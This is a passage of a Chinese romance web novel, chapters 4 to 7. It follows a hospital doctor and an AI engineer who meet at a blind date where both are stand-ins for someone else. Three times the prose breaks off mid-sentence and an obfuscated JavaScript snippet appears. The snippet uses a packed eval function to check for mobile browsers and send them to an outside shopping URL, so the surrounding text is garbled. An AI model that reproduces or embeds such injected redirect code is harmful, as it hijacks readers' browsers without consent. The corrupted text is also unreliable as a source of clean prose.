吴永胜几乎每天问一遍,起初杨楚白以为他是真的关心项目,都会认真详细地报备,但话没说几句就被打断,摆出一副全都了解的姿态,稍稍整理领带,叮嘱他继续努力。慢慢地,杨楚白也学会了糊弄说辞。 吴永胜表示理解地点点头,额外多说了几句废话,然后扬长而去。 是个人都能看出来,领导今天很高兴。 公司为了促进内部多元化发展,近年来时常举办一些文艺活动并设置奖项,上个月是征文投稿相关。 为了提高积极性,新增要求:各部门至少提交一篇。 团队理工男文艺才能匮乏,高考毕业十几年,早过了写作文的年纪,再者,也实在没那个空闲和精力,最后大家掷骰子把杨楚白推了出去。 杨楚白对这些活动一贯持着中立态度,不排斥,也不积极。但是轮到了,也能交点东西。 年初那段时间,电脑网页跳出几个杂志社的征稿广告,奖金丰厚,就连优秀奖也有几千。他实在太需要钱,于是写了几篇投稿参与,大多数都石沉大海,甚至邮件压根没被点开,只有那么一两家比较人性化,发来千篇一律的拒稿通知。 纵使对文学有再高热情,也经不住生活和现实的摩擦,最后就像一团轻烟,消散而尽。 但这些经历就停在那里,指不定什么时候派上用场。 杨楚白从文档里挑了一篇提交,今早突然通知获得了二等奖。 吴永胜因为在交稿前粗略扫一眼,提出几个无关紧要的修改意见,理所当然地把自己名字加上去,成了这篇文章的一作,占尽好处。 朋友替他不值,杨楚白没说什么,又或者他已经免疫了。相比之下,这份工作更为重要。 他不能被优化,更不能没了收入。 / 西餐厅。 吴宇宗切好牛排递给颜简初:“这份给你。” 颜简初瞥了一眼,淡淡地笑:“谢谢,但不用了。”她用刀切了一小块放进嘴里,“我只吃全熟。” 看着肉块里夹着层粉红血丝,吴宇宗把餐盘放回自己面前:“不好意思。” 颜简初没放心上:“没关系。” 这顿饭是吴宇宗请客,为了还她人情。前些天他父亲腹泻来医院挂号,同时打算做个体检,于是办了住院,吴宇宗科研忙得脱不开身,打电话请她关照几天。 实际上颜简初也没多做什么,都是按流程办事。 昨天老人出院,吴宇宗提出聚餐答谢,她拒绝了。对方猜到她的顾虑,晚上给又她发消息,说已经跟女朋友报备了,甚至先斩后奏,直接扔来餐厅地址,表示已经预定。 颜简初不想闹得太难看,索性下班后过去。 沉静半晌,刀叉与瓷盘碰撞,吴宇宗问:“老师咳嗽怎么样了?” 颜简初说:“老毛病了,这几天都有炖雪梨,效果还不错。” “那就好。”吴宇宗说。 话题终结,两人之间又安静了快一分钟。 颜简初觉得自己也该说点什么,于是问他:“你呢,最近还好吗?” 吴宇宗囫囵应了两声,说就那样,只是生活里多了个人。增添了变数,也带来了希望。 “挺好的。”颜简初微微笑,放下餐具,说去趟洗手间。 纸巾擦干手,颜简初对着镜子补口红。回座位中途,她身后的人分神被自己绊了一跤,红酒从杯子里撒出来,一部分泼在她白色的衣服上。 冰凉液体渗到皮肤,颜简初回头,发现衣角湿了一片,从腰线往下,红紫色不规则地晕染,色彩鲜艳而醒目。罪魁祸首正不停地低头道歉,用纸巾帮她擦拭。 颜简初微蹙眉,语调缓和地说没事,余光一瞥,觉得这人有几分眼熟,服务员递来湿巾,她抽了两张。 直到那人抬起头,颜简初才想起来,是肠息肉病房那个女生。 颜简初上次全程戴着口罩,对方并没认出。 “发生什么了?”吴宇宗听到动静后走过来问,看清状况后,正准备把身上的外套脱下来,颜简初拦住他说不合适,“我座位上有外衣。” 吴宇宗不认同她某句话话,两人僵持着,没注意又来了人:“如果你不介意,我这有件外套。” 颜简初转头,又看见个熟面孔。黑色外套挂在他臂弯,前臂稍往前示意。 女生下意识退回他身旁,颜简初把湿纸巾扔垃圾桶,礼貌性回绝:“谢谢,但不用麻烦了。” 她说完反身走回座位,捞起椅背的薄外套披上,吴宇宗跟在后面,听见她说要先回去,点点头:“那我送你。” 颜简初拎起包拒绝,拿出手机正准备打车,发现有三个江质北的未接电话,吴宇宗刚要说话,他的电话又进来:“你还在那家餐厅吗?” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126122|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我出来办点事,刚好经过那里,你不是没开车,要不我载你回去?” “也行。” “你那边结束了吗?我估计再两分钟就到了。” “好,门口等你。” 她挂断电话,跟吴宇宗道别:“我先走了,你回去注意安全。” 从过道往外走,颜简初推开玻璃门前一刻,看见了那个人。 他今天衬衫的扣子全系紧了。 在察觉对方抬头的瞬间,她推门离开。 杨楚白一直看着她的身影,直到车离开视野。 “是不是我哥说了什么,你才说那些话?”许原欣想不出别的缘由,为什么他今天突然说那些话,说只把她当妹妹,以后也仅限于此,“你不用理他……” 杨楚白忍不住打断:“你别多想,跟原安无关,只是我不希望你误会,以后不用在我身上白费力气。” 许原欣反驳:“怎么是白费力气呢?喜欢一个人跟想要对他好并不冲突。” 杨楚白无奈:“我什么都没有,给不了你想要的,不论是情感还是生活,你都值得更好的,而不是在我这浪费时间。” “我不在乎这些,我喜欢的只是你这个人。”许原欣说着说着眼眶湿润了,“楚白哥,其实我很早就……” “时间差不多了,”杨楚白不想再听下去,拿出手机,“我打车送你回去。” “不用了……”许原欣阻止,说,“我哥待会来接我。” 她发了个定位给许原安,又退出来给他打车,很快显示已接单,快捷键截屏发送,“我帮你打了车。” 临走前,许原欣问他是不是有喜欢的人了,没等回答,她抢一拍说:“在那之前,我不会放弃的。” / 几日后。 导航提示前面路口转弯,步行五十米,最终抵达目的地。 颜简初今天有一场相亲宴。 这件事源于两天前,同事演唱会和相亲局撞时间,演唱会门票好不容易才抢到,位置绝佳且花了大价钱,而相亲局则是太后安排,据说该对象是重金抽出的sssvip级别,逼她去见一面,就差拿刀架脖子上。 这是盲盒相亲局,主打刺激与冒险。平台抹去参与者照片,仅保留基础信息,用户可通过充值方式获取额外信息,如学历,职业等。每月中平台还有抽卡活动,纯拼手速和网速。分为五个系列,费用依次递增,牌数递减,系列五完美恋人只出一张,为sssvip级别。 因为没有透露照片,同事请求颜简初代为相亲,作为交换,同事下周帮她值夜班。这个交易还算诱人,正好她也有空,索性答应下来。 对方简介写得很漂亮,但同事也有交代,不用表现太好,随意敷衍即可。 颜简初准时抵达,这个时间恰好在高峰期,人流量比较大,手机出示相关页面,服务员带她入座。 穿过前台,喧嚣逐渐隔绝,橙黄色灯光有些暗,把空间衬得暧昧模糊,墙面上挂着着几幅装饰画和传统木雕,增添几分异域风情。 位置几乎坐满,绝大多数为一男一女,颜简初跟着绕了几个过道,最后在不起眼的角落停下,服务员告诉她:“这里就是41桌。” 颜简初站在旁边愣了愣,餐桌对面已经坐了人,她低头看桌牌,确认没错后又看向那个人,心中疑惑且不可思议。 5. 第 5 章 服务员在单子上打勾,目光落向两人,递了两份菜单。 颜简初坐下后,很认真地看着上面的图片和小字。 “你有没有忌口之类的?”杨楚白看了一会儿后,抬头问她。 “没有。”颜简初也问他,“你呢?” 杨楚白也说没有,然后又低头,快速地在菜单上划勾。 颜简初有些三心二意,目光在菜单上游离,余光偶尔飘向别处。他正端坐着,光影落在桌面照亮手腕轮廓,五官更显立体而严肃。 相比以往,衣着打扮很明显是花了一点心思的。 “我选了两道招牌菜,你看看合不合胃口,然后再添几样。”杨楚白把菜单给她。 “嗯。”颜简初拿着笔又浏览一遍,打两个勾,把菜单交给服务员。 服务员离开后,小方桌只剩下两个人,气氛片刻凝固,眼神不经意地交缠与试探,颜简初拿起杯子喝了口水,问他:“你等了很久吗?” “没有,”杨楚白说,“我只比你早了两分钟。” “那就好,”颜简初小声道,转而问他,“还不知道你的名字。” 对方迟疑了一会儿,说:“陈安,陈旧的陈,长安的安。” “你呢?” 颜简初右手顿了下,杯子腾起一角。她正思考上次在医院对方有没有看见她的胸牌。 不过当时距离也有点远,她抱着侥幸心理,赌一个概率。 “陆欣然。”颜简初观察他,“陆地的陆,欣喜的欣,天然的然。” 杨楚白点头说名字很好听,颜简初微不可察地笑了下,“谢谢。” 服务员端了盆开水放桌上,两人几乎同时动作,杨楚白伸手示意:“我来吧。” 颜简初自觉退回去,看着他把碗放进去,又说了遍道谢的话。 瓷碗在水里翻动,水蒸气如一团烟雾升腾,打湿他的皮肤,也在两人之间添了分朦胧,直到开水被撤走。 杨楚白帮她盛了半碗米饭:“前几天西餐厅真不好意思,酒渍能洗掉吗?” 颜简初拿筷子时顿了下,抬头笑笑,说:“没关系,洗干净了。” “那就好。”杨楚白放下心来,不然,他理应给予对方等价的赔偿。 颜简初看着他,淡淡嗯了声。 实际上,那件衣服的污渍很难洗干净,泼在白色布料上,不论怎样揉搓都没用,她本想拿去洗衣店处理,后来颜丽霞来过一趟,发现沙发上衣服的污痕,直接扔进了垃圾袋。 “那个女生是你朋友吗?”颜简初顺着话题往下问。 “差不多。”杨楚白帮她添了碗汤,“她是我朋友的妹妹,那个朋友你也见过,许原安。” “噢,”颜简初拖着语调,心里的误会也随之解开,“原来是这样。” 颜简初正喝汤,无意抬头正好闯入他的目光,不像开始那般隐晦,有点让人捉摸不透:“怎么了?” 杨楚白摇头说没什么,“只是没想到竟然是你。” 颜简初正用湿巾擦手,笑道:“我也没料到。” 杨楚白思绪飘得远,他不是这场戏的主角。应该相亲的是陈安,这让他嫉妒,同时也窃喜,闪出一些不恰当的念头,幸好陈安被拖住了,幸好他接下了这差事,可他终究不是陈安。 “你经常来相亲吗?”杨楚白看着她问。 颜简初很轻地皱了皱眉,好奇地看向他:“为什么会这么问?” “只是突然想到了。”杨楚白说。 “如果我反问你呢?”颜简初问。 杨楚白思考到底该用哪个身份去回答这个问题,于是陷入了短暂沉默。在颜简初眼里,这代表着某种认同。 “实不相瞒,”颜简初说,“结婚这件事暂时不在我的考虑范围内。” “那很巧了,”杨楚白拿起玻璃杯碰了下她的,浅笑道,“我也是。” 一刻钟后,杨楚白站在前台结帐,颜简初从洗手间走出来,看见她湿漉漉的手,杨楚白抽了张手帕纸递给她。 颜简初垂眼接过,说了声谢谢,皮肤的水渍印在纸巾上,变得更加柔软和潮湿,这种感觉从肌肤传入神经末梢,一点点扰乱她的思绪。 此时旁边传来一阵热闹的声音,杨楚白接过小票,转头发现她正循声望去。 一对情侣隔着桌子,唇瓣贴在一起,周围的起哄快要将他们淹没。 “我们今天举办活动,两人吃完同一根面即可获得精美礼品一份。”服务员期待地看着他们,“请问二位要尝试吗?” 杨楚白愣了几秒,转头看向颜简初。 “不用了,谢谢。”颜简初微笑着拒绝对方,把纸巾扔进旁边的垃圾桶,继而对杨楚白说,“我们走吧。” 杨楚白点头,快一步走在她前面,推开玻璃门等她先出去,说:“我去把车开出来,你在这等我。” “好。”颜简初答应道,注视着他逐渐走远的背影,地上影子缓慢拉长,最后消失在一棵榕树后面。 她收回视线,站在台阶最边角,低头看着鞋尖,唇边的弧度若有若无。 她原本计划打车回去的,在结账之前,杨楚白提到这个问题,她也如实回答,后来他说:“我开车来的,可以送你回去。” 于是她收起了手机。 店门对面有一条商业街,路上车水马龙。她注视着路上的行人,忽然,头又不合时宜地痛了起来,从颞侧往枕后放射,像水流灌进空瓶里,最后充斥整个头颅,尖锐鸣笛在耳边不断加码,视线也开始变得模糊、扭曲、畸形。 颜简初感觉记忆变得混乱,闪过各种碎片,她想不起来自己为什么会在这,又应该到哪去,只是扶着墙,无意识地往反方向走。 当杨楚白把车开出来时,门口已经没了她的身影。他下车走回店里,视线绕了一圈,然后询问前台:“刚才跟我一同离开的女士有回来过吗?” 前台很确定地回复:“没有。” 杨楚白追问:“那你们有看见她去哪了吗?” “不好意思,没注意呢。” 杨楚白回了句谢谢,转身推门离开。他站在门口拿出手机,解锁后才想起来,他们没有互留联系方式,下意识滑到陈安的聊天页面,刚想打字又觉得多此一举。 或许她临时遇上急事了呢,又或许,她从一开始就没打算坐他的车。 杨楚白刚回车上,系好安全带,陈安发来信息问他情况怎么样。 杨楚白回复:刚结束。 这场相亲真正的主角本应是陈安,年龄比他小三岁,家里人催得紧,刚巧最近有个相亲APP很火,广告营销十分到位,只要杨楚白稍微抬眼就会发现前面路灯的柱子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126123|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上就贴了张APP宣传单。 陈安母亲只是稍稍地包装了一下,不小心就被系统判成了sssvip级别对象,导致相亲宴接踵而至,一度害他苦恼,但耐不住他有一颗孝心,不想违背母亲的意愿。 这次相亲与往常别无二致,基本走个流程,最多加个联系方式,然后出门即删除,两人再无瓜葛。唯一不巧的是公司开会,各部门要人参加,按照轮替顺序,该陈安去了。傍晚的会议,下午上班才发来紧急通知,自古忠孝难两全大概就是这样。 陈安实在没辙,在个人平台征集相亲代做,一时半会没有消息,正巧杨楚白经过,于是问他有没有想法。 杨楚白瞥了眼他的手机,价格很不错,所以抽了点时间出来一趟。走之前,陈安把车钥匙交给他,说自己开车更方便。 杨楚白指尖敲在方向盘上,想了想,又补充:你放心,我觉得没戏。 陈安:没戏就行,我还怕你给人留下念想。 简单问两句情况,陈安又说回工作:你现在准备回公司没?模型出了点问题,你回来看看。 杨楚白回了个OK的手势。 消息显示发送,他把手机扔在副驾,捏了捏眉心,闭眼休息。 随着人工智能迅速兴起发展,同行公司虎视眈眈,大家都想要搭上这阵东风,以抢占先机获得行业主导权。 也正因此,前些天总监下了新命令,让他们争取在一个月内拿出对标市场的AI聊天APP。基于公司前两年研发的模型进行微调,他们可以节省至少半年的基础研发时间。 但即便如此,这仍是一项几乎不可能完成的任务。小组成员别无选择,只能服从,没日没夜地加班,公司甚至可以说是他们第二个家。 半分钟后,杨楚白驶车离开。 / 颜简初看清眼前景象,怔在原地,忽地噤了声。她走到了一个阴暗的巷子里,两面墙,一片天,对面有只猫,旁边蹲着个女人,侧对她,手里拿着刀,连续往下捅了好几下,猫没有叫,血涌出来,像红色蜿蜒的小溪,一直流到她的鞋尖。 缓缓抬头,那个女人正盯着她,手里的刀也随之转向了她。 电话另一端的江质北没听见声音,感觉不对劲,不断喊颜简初名字,越来越大的音量让她晃了一下,眯了眯眼,巷子里空空如也,她低头,鞋尖没有血,水泥地上也没有。 一切都只是她的幻觉。颜简初顿时耗尽所有气力,靠在墙边不断往下滑,最后坐在地上,轻轻叫了句:“江质北。” “你什么时候打来的电话?”她故意这样问。 江质北答非所问:“听说你帮欣然姐相亲去了,是发生什么事了吗?发个定位,我现在去找你。” “我现在跟朋友在外面呢,”颜简初看着街对面一家不起眼的服装店,说,“应该是误触了接通,不好意思啊,我还要陪她挑衣服,没别的事就先这样。” “这样啊,”江质北半信半疑,“你没事就行。” “嗯。” 电话挂断后,颜简初在地上坐了一会儿,想起傍晚那个人,打开手机看时间,已经过去半个多小时,他应该走了吧,开车回来发现她不见了,也不知道会不会误解。 思索片刻,她给陆欣然回电话,简单交待具体情况,颜简初问:“你那有陈安电话吗?” 6. 第 6 章 “没听清,谁啊?”陆欣然声音断断续续,还略带嘈杂,“是哪个患者家属吗?” “陈安。”颜简初又复述一遍,低头想了想,才意识到32床患者不是陆欣然负责。 “这名字怎么有点耳熟……”陆欣然走到人少的地方,声音清晰不少,“我想起来了,今天那相亲对象好像是叫这名吧?” “嗯嗯。” “我没他电话,也可能是漏看了什么资料,”陆欣然问,“是发生什么事了吗?我现在去翻翻聊天记录。” 过了十几秒,陆欣然:“坏了,消息都被我清理了。” “那就算了,”颜简初说,“也不是什么大事。” 陆欣然宽慰几句,因为演唱会开始而草草挂断。 颜简初低着头整理情绪,屏幕暗了又亮,她滑入另一个页面打车。地图上标注了当前位置,轻轻放大,离餐厅已经有些远了。手机震动提示司机接单,距离上车点还有段距离,她按着导航提示往前走。 有时候,这座城市就像高速运转而不知疲惫的大型工厂,看不见尽头的道路好似一条条黑色传送带,商品坐落于上方,车辆来来往往,把顾客送至目的地,然后按照系统提示去接下一位顾客,每日如此,循环往复。 下车后,空气才开始流动,颜简初走了几步,经过小区门口的便利店,亮白色灯光有些晃眼,她进去买了瓶酸奶,转身又从货架拿了盒漱口水,准备结账却没看见收银员。 她在店里转了一圈,最后绕回原点,拿起扫码枪自己刷码付款。 拾起东西正要离开,忽然响起机械的欢迎光临,她转头,一个男人正抱着两箱石榴进来。 罗祺看见她,显然愣了下,把箱子堆在墙角,抬头看了眼墙,钟表正在机械运转:“今天这么晚下班?” “没有,”颜简初退到旁边让出空间,说,“忙了点私事。” “这样,”罗祺走到收银台,想抽纸发现塑料袋空了,随手从旁边拆了包新的,边擦汗边问,“那你吃饭没?” “吃过了。”颜简初盯着他的动作看了会儿,拿起手里的物品示意,“我过来买点东西,刚才没看见你,我就自己扫了。” “好,”罗祺把纸巾扔进垃圾桶,同她解释,“我刚才去卸货了,本来预约的傍晚,结果路上出了点状况,一直拖到现在。” 颜简初问他:“那卸完没?有需要我帮忙的吗?” “都搬完了,刚才那是最后两箱。”罗祺说完,转身从另一边架子拿了一盒石榴,透明塑料盒包装,里面装了两枚,在灯光下石榴皮透着黄而粉的光泽。 “味道蛮不错的,很甜,留了一份给你。”他扯了个袋子装好递给她。 颜简初同他对视几秒,罗祺先移开视线,她笑着说了声谢谢。 “你母亲现在恢复得怎么样了?”颜简初接过袋子忽然想起来这回事。 罗祺说:“我今天早上有过去一趟,都挺好的,医生说再过段时间就能出院了。” 颜简初点点头:“那就好。” “这事还要多谢你,如果没你帮忙,我一时还真不知道怎么办,”罗祺说,“那些钱我会尽快还你。” “没关系,你不用马上还我,先照顾好你母亲,我暂时也用不到那笔钱。”颜简初希望他别给自己太大压力,如果把自己身体累坏了,反而更加得不偿失。 “好吧,”罗祺看向她,眼睛忽明忽暗,最后说,“我会看着办的。” “嗯,”颜简初手机震了下,她看一眼又盖下,“快十点了,那我先回去了。” “好。” 便利店的机械声又一次响起,玻璃门缓缓关上,罗祺站在里面,看着外面的身影越来越远,看着车来车往,然后迎接下一位顾客。 颜简初回家后觉得异常疲惫,按了下开关,暖黄色的光线很暗,衬得客厅更加清冷。她站在玄关处,光脚踩着地砖往里走,把手上的东西堆在桌上,想要倒杯水,拿起壶才发现里面是空的,于是又走到厨房接水,水流很慢,一点点地填充,感觉时间既快又慢,水线终于到了最大值。 滑动开关,一圈圈小水泡从底下往上冒,透明玻璃壁的灯光变换,五颜六色,像一个微小的海底世界,看起来光彩耀眼,可惜里面没有活物。 颜简初倒了杯水放在茶几上,坐在地上背靠沙发眯了一会儿,然后手机震动亮屏,她拿起来看,又多了几条新消息,正准备回复,对方电话打进来。 “喂。”一道男声从听筒里传出来,像往常一样温和,听不出什么情绪,“你今天又失约了,怎么回事?又在加班?” “嗯,”颜简初心里有点虚,“最近事情比较多,不小心给忘记了。” “那什么时候有空呢?”陈路问她,“我们重新约一下时间。” 颜简初翻开日历看了眼:“17号吧。” “行,我这边记一下,”笔尖与纸张的摩擦音传出,然后停顿,“你的药吃得怎么样了?” 颜简初短暂不语,随即笑了笑:“你是不是在明知故问?” 陈路把笔扔桌子上,有点被气笑了,颜简初算是他最头疼的患者,明面上什么都依着你,骨子里却十分叛逆,完全不遵医嘱,害他方案总是推翻重做。 “你这两年的情况虽然是稳定了,但不代表痊愈,药都是按疗程配的,你这样会影响疗效,甚至反弹。”陈路苦口婆心地劝说。 “我知道了,以后会尽量遵守,”将心比心,颜简初心里也过意不去,“还有个事情我一直想问你,那些药的副作用有没有头痛、致幻之类的。” “一般不会,头痛致幻也可能是情绪的反映,”陈路说,“不过还是建议先做个相关检查,以排除一些器质性病变。” “好,我知道了。” 通话结束,杯子里的水已经变温,她从底下抽屉里翻了几种药温水送服,然后回复几条消息。 江质北十分钟前发信息:「你到家了吗?」 颜简初:「嗯嗯,你别担心」 对方秒回:「好,那你早点休息」 颜简初:「你也是」 简单浏览工作群的消息,没什么实质性内容,索性关了手机放回桌上,颜简初揉了揉太阳穴,想起昨天晚上代佳妍约她去酒吧喝酒,正好诊疗结束过去,把这些琐事在脑海规划一遍,又不自觉回想今天的人和事。 莫名其妙地,总是流连于傍晚那个人,陈安。 原来他叫陈安啊,陈旧长安,颜简初思索着与他有关的细节,唇边漾起的弧度恐怕自己都没意识到。 找出玩具玩了片刻,她低低地喘着气,拿起桌上的玻璃杯,将里面半杯冷水一饮而尽。 / 杨楚白把杯子放回桌面,紧接着,旁边的手机亮屏,陌生号码来电,他接通后,对方自称是一中学班主任,说是他妹妹跟朋友偷摘学校柚子,还把一棵柚子树搞折了,现在正在办公室进行思想教育,希望他在放学前过去一趟。 杨楚白误以为对方打错了电话,他压根没有什么妹妹,但是那个名字又有点耳熟:“好的,我马上过去。”他先这么应付着,从抽屉里拿了包速溶咖啡,拆开包装倒进杯子,看着液体逐渐浑浊,他终于想起来在哪听过这个名字。 腊月二十七晚上,在医院里。杨楚白父亲酒驾,开货车撞死了两个人,是出差完准备回家过年的一对夫妻,杨家宝肇事逃逸,怎么也找不到人,第二天在江边捞到了尸体,他们都说他这是畏罪自杀,没人想过也可能是失足落水,但真正的原因如何都已经不重要了。 杨楚白带着和母亲着急赶来医院,哭喊和咒骂声充斥在耳边,有个人直接拎起他的衣领给了一拳,嘴角破了皮,渗了血,那人本还想补几拳,只是被拦下了。 杨楚白从地上爬起来,嘴里满是铁腥味,指腹用力抹掉嘴边的血,母亲扶着他坐到旁边的椅子上,眼睛一直在流泪。没多久抢救室的医生出来,很遗憾地说抢救失败,家属哭得撕心裂肺,母亲也哭得更厉害了。这是他第一次见母亲哭,没想到也是此生最后一次。 那群亲属中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126124|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有个小女孩被两人搀扶着,随时可能倒下去,那是杨楚白第一次听见这个名字。 / “嘿,罗施画,”同伴看见办公室又进来一个生面孔,连忙扯她手臂小声打探,“那个人是你哥吗?” 罗施画一下子没了睡意,抬头看向老师办公桌,然后点点头,没什么表情:“嗯,就是他。” 杨楚白听老师讲述事件具体情况:“施画同学向来是个品学兼优的好孩子,以她的水平考个985、211是绝对没问题的,只是她最近这个状态好像一直不太对,你们家长要多跟孩子沟通。” “好的,我明白,麻烦老师了。” 谈话结束后离下课还有一段时间,小操场都是些上体育课的学生,整体显得比较空旷。 罗施画两只手插在口袋里,笑道:“没想到你真敢来。” “为什么不敢?”杨楚白问。 罗施画停住脚步,抬头看向他,笑了笑:“我还以为你跟你爸一样呢。” 听到这句话,杨楚白的心像被毛刺扎了一下,表情变了变:“他是他,我是我。” 罗施画深深地看了他一眼,那种神情很复杂,像是怜悯,又像是憎恶,她自顾自地往前走,不予评价。 “其实我今天约你,一方面是不希望奶奶担心,另一方面……是想同你说句对不起。” 杨楚白愣了一下。 “你可能不知道,又或许早就猜到了,”罗施画平静地说,“那些短信、电话,还有你家门口那封信都是我写的。” 她顿了顿,尽可能压下情绪:“我每个月都会收到一封转账短信,不断地提醒我,我的爸爸妈妈已经不在了,而罪魁祸首正在用钱填补这一切以减轻自己的负罪感,我常常在想,是不是这种罪恶感会转移啊,那些数字只让我觉得恶心。” “最近我总感到命运不公,凭什么你还能好好地活着,凭什么你们就可以心安理得,而所有的痛苦却由我承担,”她说,“所以我搞了这场恶作剧。” 杨楚白心中五味杂陈,良久后问她:“那你后面怎么不继续了?” “因为……我不希望家人对我失望,况且我去过你的公寓,也了解到你母亲的事情,从数量而言,我们也算是扯平了吧。”罗施画扯了扯嘴角,却发现怎么也笑不出来,所有的一切都是那么苦涩。 “如果后面实在拿不出钱,可以隔段时间再还,我不会告诉奶奶。”她说,“这就算是我对你的赔偿。” 杨楚白看着眼前比自己小一轮的女孩,真心说了句谢谢。这一份难得的善意竟然是她传递的,既幸运又荒诞,可命运就爱开这种玩笑。 / “我没跟你开玩笑,我认真的,”代佳妍说,“我要跟陆宣白领证了。” 服务员把酒端上来,颜简初尝到一点咸味,用吸管拨动杯口的盐粒,问她:“怎么回事,这也太突然了。” “他进编制工作稳定后家人就开始操心结婚的事情,然后陆宣白觉得很烦,就找我商量假结婚。” 颜简初眨眨眼:“然后你就同意了?” “嗯,”代佳妍略显骄傲,仿佛捡到宝一般,“反正我跟他算是青梅竹马,知根知底,他家人也十分赞同这门婚事,再者假结婚而已,就当我为好兄弟赴汤蹈火、两肋插刀、舍身忘己了。” “更何况他就是个闷葫芦,”代佳妍笑嘻嘻道,“我先收了也省得祸害别人,你说是不是?” 颜简初笑而不语,只是抿唇点头,默默地喝酒。 后面代佳妍玩嗨了,跑到另一边的小舞台不停地唱歌,跟着一群人又蹦又跳,颜简初酒量不好,喝了一半头有点晕,音乐节点在脑袋里炸开,于是找了个稍偏的位置,玩了会手机,然后闭眼休息。 公司部门聚会中场,杨楚白被同事拉着一起出去透气,风没吹多久,同事又说要去趟卫生间,然后就一直没回来,酒吧结构弯弯绕绕,他不小心迷了路,服务员指着旁边告诉他路线,顺着那个方向,他看见一张熟悉的侧脸,一时忘记服务员说了什么。 7. 第 7 章 颜简初有些昏沉,没有完全睡着,更像是处在一种中间状态,所以察觉有人靠近时,她立马睁开眼。 是一名服务员,手里拿着毯子正弯腰给她披上。 “是我吵醒你了吗?”服务员发现她正看着自己,动作顿了下,退开一些距离。 “没有。”颜简初身体坐直,毛毯从肩膀落到膝盖,闻见一股淡淡的香水味。 颜简初不是很喜欢这个味道,但又不想浪费别人的好意,于是就简单披在腿上:“谢谢。” “没关系,这些都是我们该做的。”服务员说,“不过,还是多亏了我同事,他心比较细。” 服务员转身离开后,颜简初看着毯子上的纹案发了会呆,或许是因为下午复诊没怎么休息,她感觉有些疲惫,手机解锁显示时间不算太晚,代佳妍在微信问她跑哪去了,两分钟后又发了一堆炸弹。 颜简初把毯子叠整齐放在旁边,拿起手机回到位置,代佳妍正趴桌上对着手机说醉话,看见她回来,立马摆出一副兴师问罪的表情:“你跑哪去了,怎么消息也不回。” “在旁边坐了一会儿。”颜简初看见她手机的通话页面,陆宣白的声音从里面传出来。 “我现在过去接你们,定位发我一下。” “我刚才不是发你了吗?”代佳妍皱眉,质问,“怎么你们一个两个都不看消息!” 陆宣白:“你几时发我了?” 代佳妍坚信自己发了,把手机交给颜简初,让她替自己作证。 颜简初拿到手机,聊天记录根本没有位置信息:“我现在发了一个,你看看。” “嗯,我马上过去。” 陆宣白到的时候代佳妍已经睡了,他把人抱到车上,颜简初把衣服给他,没有上去的意思。 “不一起么?”陆宣白帮忙系好安全带问她。 颜简初摇头:“你送她回去吧,我有点头晕,想一个人走走。” 陆宣白犹豫:“有点迟了,我不太放心你一个人。” “没事,你先送她回去,别着凉了。” “行,”陆宣白只能依她,“那你注意安全。” “嗯。” 车子汇入人流,月亮被两边高楼遮挡住,抬头只有四四方方的夜空,连星星也看不见,周边商店霓虹闪烁,人群进进出出,酒吧门口的空地因停车而显得格外拥挤,颜简初站在路灯下,忽然听见一阵哄笑,又有一群人从酒吧出来,三三两两勾肩搭背。 “杨楚白,你这就不够仗义了!” “是不是金屋藏娇了?所以这么着急赶回去啊?” “咦——这可就不厚道了!” “没有的事。” 声音逐渐远去,颜简初回头看了一眼,只剩一行人的背影。 杨楚白回家已经是后半夜,公寓有几户阳台还亮着灯,楼道昏暗一片,顶上的声控灯一闪一闪,光线微弱,还时不时发出滋滋的电流声。 手机已经没电关机,放到床头柜上充电,杨楚白抄起床上的衣服去卫生间洗澡,再出来时,手机电量显示33%,开机后发现奶奶打了三个电话,那时候酒吧没接到,于是她发了一封短信: 「楚白,我今天做了肉酱,记了三罐过去,还有些熟食,要近快吃,前两天跟老王买鹿绒和西洋参。还有天七,吃了对身体好,你在外面要照顾好自己,我跟爷爷都狠好」 奶奶的短信经常有错别字,他没说过,也没说的必要,只怪手机不够智能,无法自动校正。但那些情感就掺杂在这些错字里,一笔一划,一字一句。 杨楚白本打算回条短信,打了几个字又转变想法,还是明天打个电话比较合适。 洗完衣服晾在阳台,远处工地的照明灯很亮,似乎能照亮半边夜空,让人怀疑黑夜是否真实存在,不久前的那个大坑已经填平,隐约可以窥见建筑的痕迹,那是希望的萌芽。 明明只相距几百米,仿佛是一位青年与老者的对望。每当那片高楼建起一点,杨楚白总是隐隐感到心慌,这座医院以胜利者的姿态迅速落地,极速扩张,如果到了那一天,他又该何去何从……他脸上的表情瞬间变得凝重,希望医院建得慢一点,希望那一天永远不要到来。 楼上的动静一阵接一阵,此起彼伏,有时候连耳塞都挡不住,反而越来越清醒,害他一点没了睡意。 